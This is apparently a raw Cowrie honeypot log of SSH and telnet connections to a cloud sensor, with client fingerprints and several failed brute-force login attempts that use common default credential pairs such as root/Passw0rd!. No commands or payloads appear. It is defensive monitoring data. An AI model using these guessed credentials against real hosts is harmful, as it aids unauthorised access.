{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33672,"dst_ip":"10.17.0.5","dst_port":23,"session":"2993e02b9c73","protocol":"telnet","message":"New connection: 152.42.224.71:33672 (10.17.0.5:23) [session: 2993e02b9c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:08.031072Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":53790,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1b3e12a5da5","protocol":"ssh","message":"New connection: 81.9.145.130:53790 (10.17.0.5:22) [session: c1b3e12a5da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:10.361380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:10.365754Z","src_ip":"81.9.145.130","session":"c1b3e12a5da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:10.482141Z","src_ip":"81.9.145.130","session":"c1b3e12a5da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"notice","message":"login attempt [root/notice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:10.975294Z","src_ip":"81.9.145.130","session":"c1b3e12a5da5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54434,"dst_ip":"159.203.135.109","dst_port":22,"session":"0078b0082393","protocol":"ssh","message":"New connection: 31.40.204.166:54434 (159.203.135.109:22) [session: 0078b0082393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:11.485251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:11.490668Z","src_ip":"31.40.204.166","session":"0078b0082393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:11.622150Z","src_ip":"31.40.204.166","session":"0078b0082393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.2056622505188,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:11.912625Z","src_ip":"152.42.224.71","session":"9106ec33f996","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:12.092951Z","src_ip":"81.9.145.130","session":"c1b3e12a5da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:12.117193Z","src_ip":"31.40.204.166","session":"0078b0082393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:13.303595Z","src_ip":"31.40.204.166","session":"0078b0082393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.91558599472046,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:14.718530Z","src_ip":"152.42.224.71","session":"e83d4068c2bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.330166816711426,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:16.100658Z","src_ip":"152.42.224.71","session":"33df71c5b071","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":55730,"dst_ip":"10.17.0.5","dst_port":22,"session":"07546c20f6b9","protocol":"ssh","message":"New connection: 170.106.159.59:55730 (10.17.0.5:22) [session: 07546c20f6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:16.791590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:16.796554Z","src_ip":"170.106.159.59","session":"07546c20f6b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:16.866349Z","src_ip":"170.106.159.59","session":"07546c20f6b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tpassw0rd","message":"login attempt [root/r00tpassw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:17.174499Z","src_ip":"170.106.159.59","session":"07546c20f6b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":41962,"dst_ip":"159.203.135.109","dst_port":22,"session":"88333c9a91b4","protocol":"ssh","message":"New connection: 47.237.167.49:41962 (159.203.135.109:22) [session: 88333c9a91b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:17.362387Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:18.246943Z","src_ip":"170.106.159.59","session":"07546c20f6b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.220654487609863,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:18.251595Z","src_ip":"152.42.224.71","session":"2993e02b9c73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32958,"dst_ip":"10.17.0.5","dst_port":23,"session":"940ab048b3b1","protocol":"telnet","message":"New connection: 152.42.224.71:32958 (10.17.0.5:23) [session: 940ab048b3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:19.680181Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32960,"dst_ip":"10.17.0.5","dst_port":23,"session":"75fdadd06b84","protocol":"telnet","message":"New connection: 152.42.224.71:32960 (10.17.0.5:23) [session: 75fdadd06b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:22.665616Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52216,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa0cc62183e9","protocol":"ssh","message":"New connection: 31.40.204.166:52216 (159.203.135.109:22) [session: fa0cc62183e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:24.129352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:24.190703Z","src_ip":"31.40.204.166","session":"fa0cc62183e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:24.306776Z","src_ip":"31.40.204.166","session":"fa0cc62183e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.71497583389282,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:24.484475Z","src_ip":"152.42.224.71","session":"c44ca17d2f56","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:25.218732Z","src_ip":"31.40.204.166","session":"fa0cc62183e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.17618799209595,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:25.357224Z","src_ip":"152.42.224.71","session":"1ae8e33a8713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:26.399136Z","src_ip":"31.40.204.166","session":"fa0cc62183e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":45618,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbcd243709ad","protocol":"ssh","message":"New connection: 43.156.96.97:45618 (10.17.0.5:22) [session: cbcd243709ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:26.768550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:26.773369Z","src_ip":"43.156.96.97","session":"cbcd243709ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:27.019062Z","src_ip":"43.156.96.97","session":"cbcd243709ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41320,"dst_ip":"10.17.0.5","dst_port":23,"session":"94351099dae7","protocol":"telnet","message":"New connection: 152.42.224.71:41320 (10.17.0.5:23) [session: 94351099dae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:27.633595Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste123","message":"login attempt [root/teste123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:28.031374Z","src_ip":"43.156.96.97","session":"cbcd243709ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:29.279950Z","src_ip":"43.156.96.97","session":"cbcd243709ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41332,"dst_ip":"10.17.0.5","dst_port":23,"session":"2716f27c9bd0","protocol":"telnet","message":"New connection: 152.42.224.71:41332 (10.17.0.5:23) [session: 2716f27c9bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:30.536482Z"}
{"eventid":"cowrie.session.closed","duration":31.87259817123413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:30.717826Z","src_ip":"152.42.224.71","session":"1d2b54ed780b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41344,"dst_ip":"10.17.0.5","dst_port":23,"session":"17170beaed63","protocol":"telnet","message":"New connection: 152.42.224.71:41344 (10.17.0.5:23) [session: 17170beaed63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:30.893107Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41358,"dst_ip":"10.17.0.5","dst_port":23,"session":"514e0f3da4fd","protocol":"telnet","message":"New connection: 152.42.224.71:41358 (10.17.0.5:23) [session: 514e0f3da4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:34.185241Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43574,"dst_ip":"159.203.135.109","dst_port":22,"session":"583dc4696928","protocol":"ssh","message":"New connection: 31.40.204.166:43574 (159.203.135.109:22) [session: 583dc4696928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:36.287880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:36.390960Z","src_ip":"31.40.204.166","session":"583dc4696928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:36.419279Z","src_ip":"31.40.204.166","session":"583dc4696928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:37.381885Z","src_ip":"31.40.204.166","session":"583dc4696928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:38.516889Z","src_ip":"31.40.204.166","session":"583dc4696928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":45826,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ab9a37656a4","protocol":"ssh","message":"New connection: 190.85.41.170:45826 (10.17.0.5:22) [session: 5ab9a37656a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:39.568509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:39.573955Z","src_ip":"190.85.41.170","session":"5ab9a37656a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:39.649391Z","src_ip":"190.85.41.170","session":"5ab9a37656a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd!","message":"login attempt [root/Passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:39.992304Z","src_ip":"190.85.41.170","session":"5ab9a37656a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50796,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2a22408f7af","protocol":"telnet","message":"New connection: 152.42.224.71:50796 (10.17.0.5:23) [session: c2a22408f7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:40.540999Z"}
